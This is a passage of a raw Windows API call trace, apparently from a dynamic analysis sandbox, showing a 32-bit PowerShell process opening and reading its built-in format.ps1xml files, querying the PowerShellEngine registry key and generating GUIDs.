SetErrorMode (uMode=0x1) returned 0x1 [0075.079] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7d8 | out: lpFileInformation=0x29e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0075.104] GetLastError () returned 0xcb [0075.104] SetErrorMode (uMode=0x1) returned 0x1 [0075.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0075.104] GetLastError () returned 0xcb [0075.104] SetErrorMode (uMode=0x1) returned 0x1 [0075.104] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7d8 | out: lpFileInformation=0x29e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0075.152] GetLastError () returned 0xcb [0075.153] SetErrorMode (uMode=0x1) returned 0x1 [0075.153] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.153] GetLastError () returned 0xcb [0075.153] SetErrorMode (uMode=0x1) returned 0x1 [0075.153] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7d8 | out: lpFileInformation=0x29e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0075.185] GetLastError () returned 0xcb [0075.185] SetErrorMode (uMode=0x1) returned 0x1 [0075.185] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.185] GetLastError () returned 0xcb [0075.185] SetErrorMode (uMode=0x1) returned 0x1 [0075.185] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7d8 | out: lpFileInformation=0x29e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0075.186] GetLastError () returned 0xcb [0075.186] SetErrorMode (uMode=0x1) returned 0x1 [0075.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0075.186] GetLastError () returned 0xcb [0075.186] SetErrorMode (uMode=0x1) returned 0x1 [0075.186] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7d8 | out: lpFileInformation=0x29e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0075.186] GetLastError () returned 0xcb [0075.186] SetErrorMode (uMode=0x1) returned 0x1 [0075.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0075.186] GetLastError () returned 0xcb [0075.186] SetErrorMode (uMode=0x1) returned 0x1 [0075.186] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7d8 | out: lpFileInformation=0x29e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0075.187] GetLastError () returned 0xcb [0075.187] SetErrorMode (uMode=0x1) returned 0x1 [0075.187] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0075.187] GetLastError () returned 0xcb [0075.187] SetErrorMode (uMode=0x1) returned 0x1 [0075.187] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7d8 | out: lpFileInformation=0x29e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0075.187] GetLastError () returned 0xcb [0075.187] SetErrorMode (uMode=0x1) returned 0x1 [0075.187] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0075.187] GetLastError () returned 0xcb [0075.187] SetErrorMode (uMode=0x1) returned 0x1 [0075.187] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7d8 | out: lpFileInformation=0x29e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0075.190] GetLastError () returned 0xcb [0075.190] SetErrorMode (uMode=0x1) returned 0x1 [0075.190] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0075.190] GetLastError () returned 0xcb [0075.190] SetErrorMode (uMode=0x1) returned 0x1 [0075.190] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7d8 | out: lpFileInformation=0x29e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0075.190] GetLastError () returned 0xcb [0075.190] SetErrorMode (uMode=0x1) returned 0x1 [0075.195] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.195] GetLastError () returned 0xcb [0075.195] SetErrorMode (uMode=0x1) returned 0x1 [0075.195] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0075.195] GetLastError () returned 0x0 [0075.195] GetFileType (hFile=0x324) returned 0x1 [0075.195] SetErrorMode (uMode=0x1) returned 0x1 [0075.196] GetFileType (hFile=0x324) returned 0x1 [0075.196] ReadFile (in: hFile=0x324, lpBuffer=0x2e8e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2e8e608*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.197] GetLastError () returned 0x0 [0075.198] ReadFile (in: hFile=0x324, lpBuffer=0x2e8e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2e8e608*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.198] GetLastError () returned 0x0 [0075.199] ReadFile (in: hFile=0x324, lpBuffer=0x2e8e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2e8e608*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.199] GetLastError () returned 0x0 [0075.199] ReadFile (in: hFile=0x324, lpBuffer=0x2e8e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2e8e608*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.199] GetLastError () returned 0x0 [0075.199] ReadFile (in: hFile=0x324, lpBuffer=0x2e8e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2e8e608*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.199] GetLastError () returned 0x0 [0075.199] ReadFile (in: hFile=0x324, lpBuffer=0x2e8e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2e8e608*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.199] GetLastError () returned 0x0 [0075.200] ReadFile (in: hFile=0x324, lpBuffer=0x2e8e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2e8e608*, lpNumberOfBytesRead=0x29e654*=0x9e2, lpOverlapped=0x0) returned 1 [0075.200] GetLastError () returned 0x0 [0075.200] ReadFile (in: hFile=0x324, lpBuffer=0x2e8db8a, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2e8db8a*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.200] GetLastError () returned 0x0 [0075.200] ReadFile (in: hFile=0x324, lpBuffer=0x2e8e608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2e8e608*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.200] GetLastError () returned 0x0 [0075.200] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.200] GetLastError () returned 0x0 [0075.200] SetErrorMode (uMode=0x1) returned 0x1 [0075.200] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e9f6c4 | out: lpFileInformation=0x2e9f6c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0075.200] GetLastError () returned 0x0 [0075.200] SetErrorMode (uMode=0x1) returned 0x1 [0075.200] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.200] GetLastError () returned 0x0 [0075.200] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e5d8 | out: phkResult=0x29e5d8*=0x324) returned 0x0 [0075.201] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x0, lpcbData=0x29e61c*=0x0 | out: lpType=0x29e620*=0x1, lpData=0x0, lpcbData=0x29e61c*=0x56) returned 0x0 [0075.201] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x3566f8, lpcbData=0x29e61c*=0x56 | out: lpType=0x29e620*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e61c*=0x56) returned 0x0 [0075.201] RegCloseKey (hKey=0x324) returned 0x0 [0075.201] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.201] GetLastError () returned 0x0 [0075.201] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.201] GetLastError () returned 0x0 [0075.235] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x4e26fa60, Data2=0x2537, Data3=0x4a73, Data4=([0]=0x85, [1]=0x15, [2]=0x8b, [3]=0x4e, [4]=0xbe, [5]=0x1c, [6]=0x2a, [7]=0x84))) returned 0x0 [0075.250] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x4ed7eacd, Data2=0x4bab, Data3=0x4d15, Data4=([0]=0xad, [1]=0x7, [2]=0x67, [3]=0xee, [4]=0x70, [5]=0xc9, [6]=0xe2, [7]=0x15))) returned 0x0 [0075.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0075.252] GetLastError () returned 0x0 [0075.252] SetErrorMode (uMode=0x1) returned 0x1 [0075.252] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0075.252] GetLastError () returned 0x0 [0075.252] GetFileType (hFile=0x324) returned 0x1 [0075.252] SetErrorMode (uMode=0x1) returned 0x1 [0075.252] GetFileType (hFile=0x324) returned 0x1 [0075.252] ReadFile (in: hFile=0x324, lpBuffer=0x2eb29ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2eb29ac*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.256] GetLastError () returned 0x0 [0075.256] ReadFile (in: hFile=0x324, lpBuffer=0x2eb29ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2eb29ac*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.256] GetLastError () returned 0x0 [0075.256] ReadFile (in: hFile=0x324, lpBuffer=0x2eb29ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2eb29ac*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.256] GetLastError () returned 0x0 [0075.257] ReadFile (in: hFile=0x324, lpBuffer=0x2eb29ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2eb29ac*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.257] GetLastError () returned 0x0 [0075.257] ReadFile (in: hFile=0x324, lpBuffer=0x2eb29ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2eb29ac*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.257] GetLastError () returned 0x0 [0075.258] ReadFile (in: hFile=0x324, lpBuffer=0x2eb29ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2eb29ac*, lpNumberOfBytesRead=0x29e654*=0xfb2, lpOverlapped=0x0) returned 1 [0075.258] GetLastError () returned 0x0 [0075.258] ReadFile (in: hFile=0x324, lpBuffer=0x2eb20fe, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2eb20fe*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.258] GetLastError () returned 0x0 [0075.258] ReadFile (in: hFile=0x324, lpBuffer=0x2eb29ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2eb29ac*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.258] GetLastError () returned 0x0 [0075.259] CloseHandle (hObject=0x324) returned 1 [0075.259] GetLastError () returned 0x0 [0075.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0075.259] GetLastError () returned 0x0 [0075.259] SetErrorMode (uMode=0x1) returned 0x1 [0075.259] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ed323c | out: lpFileInformation=0x2ed323c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0075.259] GetLastError () returned 0x0 [0075.259] SetErrorMode (uMode=0x1) returned 0x1 [0075.259] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0075.259] GetLastError () returned 0x0 [0075.259] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e5d8 | out: phkResult=0x29e5d8*=0x324) returned 0x0 [0075.259] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x0, lpcbData=0x29e61c*=0x0 | out: lpType=0x29e620*=0x1, lpData=0x0, lpcbData=0x29e61c*=0x56) returned 0x0 [0075.259] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x3566f8, lpcbData=0x29e61c*=0x56 | out: lpType=0x29e620*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e61c*=0x56) returned 0x0 [0075.260] RegCloseKey (hKey=0x324) returned 0x0 [0075.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0075.260] GetLastError () returned 0x0 [0075.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0075.260] GetLastError () returned 0x0 [0075.262] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x856865eb, Data2=0xe62, Data3=0x42dd, Data4=([0]=0x8f, [1]=0x87, [2]=0xae, [3]=0xf6, [4]=0xb5, [5]=0x7e, [6]=0xa2, [7]=0x44))) returned 0x0 [0075.270] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x2e57c14b, Data2=0x60ca, Data3=0x4540, Data4=([0]=0x9d, [1]=0x35, [2]=0x27, [3]=0x8a, [4]=0xf5, [5]=0x45, [6]=0x89, [7]=0x10))) returned 0x0 [0075.325] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xa1af7731, Data2=0xbf1d, Data3=0x48b5, Data4=([0]=0x8d, [1]=0xef, [2]=0x83, [3]=0x48, [4]=0x73, [5]=0xf4, [6]=0x20, [7]=0xc0))) returned 0x0 [0075.326] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x1edf36e1, Data2=0xc245, Data3=0x4ffc, Data4=([0]=0x8d, [1]=0xb9, [2]=0x9b, [3]=0xfd, [4]=0x1, [5]=0x91, [6]=0xd2, [7]=0x65))) returned 0x0 [0075.326] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x8c401d3, Data2=0xfd19, Data3=0x479a, Data4=([0]=0xbc, [1]=0xea, [2]=0x4e, [3]=0xc4, [4]=0x9a, [5]=0xdf, [6]=0x9d, [7]=0xba))) returned 0x0 [0075.326] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x5cfa1d03, Data2=0x9e6e, Data3=0x4a83, Data4=([0]=0xa7, [1]=0xd, [2]=0x4f, [3]=0x8e, [4]=0xc8, [5]=0x7, [6]=0xed, [7]=0x6b))) returned 0x0 [0075.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0075.326] GetLastError () returned 0x0 [0075.326] SetErrorMode (uMode=0x1) returned 0x1 [0075.326] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0075.326] GetLastError () returned 0x0 [0075.327] GetFileType (hFile=0x324) returned 0x1 [0075.327] SetErrorMode (uMode=0x1) returned 0x1 [0075.327] GetFileType (hFile=0x324) returned 0x1 [0075.327] ReadFile (in: hFile=0x324, 